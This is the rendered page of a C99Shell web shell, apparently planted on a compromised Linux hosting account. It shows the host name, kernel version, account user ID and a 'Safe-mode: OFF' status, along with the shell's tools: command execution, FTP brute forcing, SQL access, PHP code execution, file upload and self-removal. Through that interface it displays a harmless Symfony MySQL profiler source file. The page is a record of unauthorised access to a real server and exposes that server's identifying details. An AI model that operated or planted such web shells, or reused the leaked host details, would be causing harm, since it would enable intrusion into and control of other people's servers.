!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php53/usr/share/pear/Symfony/Component/HttpKernel/Profiler/   drwxr-xr-x
Free 293.66 GB of 429.69 GB (68.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MysqlProfilerStorage.php (2.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\Profiler;

/**
 * A ProfilerStorage for Mysql
 *
 * @author Jan Schumann <js@schumann-it.com>
 */
class MysqlProfilerStorage extends PdoProfilerStorage
{
    
/**
     * {@inheritdoc}
     */
    
protected function initDb()
    {
        if (
null === $this->db) {
            if (
!== strpos($this->dsn'mysql')) {
                throw new \
RuntimeException(sprintf('Please check your configuration. You are trying to use Mysql with an invalid dsn "%s". The expected format is "mysql:dbname=database_name;host=host_name".'$this->dsn));
            }

            if (!
class_exists('PDO') || !in_array('mysql', \PDO::getAvailableDrivers(), true)) {
                throw new \
RuntimeException('You need to enable PDO_Mysql extension for the profiler to run properly.');
            }

            
$db = new \PDO($this->dsn$this->username$this->password);
            
$db->exec('CREATE TABLE IF NOT EXISTS sf_profiler_data (token VARCHAR(255) PRIMARY KEY, data LONGTEXT, ip VARCHAR(64), method VARCHAR(6), url VARCHAR(255), time INTEGER UNSIGNED, parent VARCHAR(255), created_at INTEGER UNSIGNED, KEY (created_at), KEY (ip), KEY (method), KEY (url), KEY (parent))');

            
$this->db $db;
        }

        return 
$this->db;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function buildCriteria($ip$url$start$end$limit$method)
    {
        
$criteria = array();
        
$args = array();

        if (
$ip preg_replace('/[^\d\.]/'''$ip)) {
            
$criteria[] = 'ip LIKE :ip';
            
$args[':ip'] = '%'.$ip.'%';
        }

        if (
$url) {
            
$criteria[] = 'url LIKE :url';
            
$args[':url'] = '%'.addcslashes($url'%_\\').'%';
        }

        if (
$method) {
            
$criteria[] = 'method = :method';
            
$args[':method'] = $method;
        }

        if (!empty(
$start)) {
            
$criteria[] = 'time >= :start';
            
$args[':start'] = $start;
        }

        if (!empty(
$end)) {
            
$criteria[] = 'time <= :end';
            
$args[':end'] = $end;
        }

        return array(
$criteria$args);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0039 ]--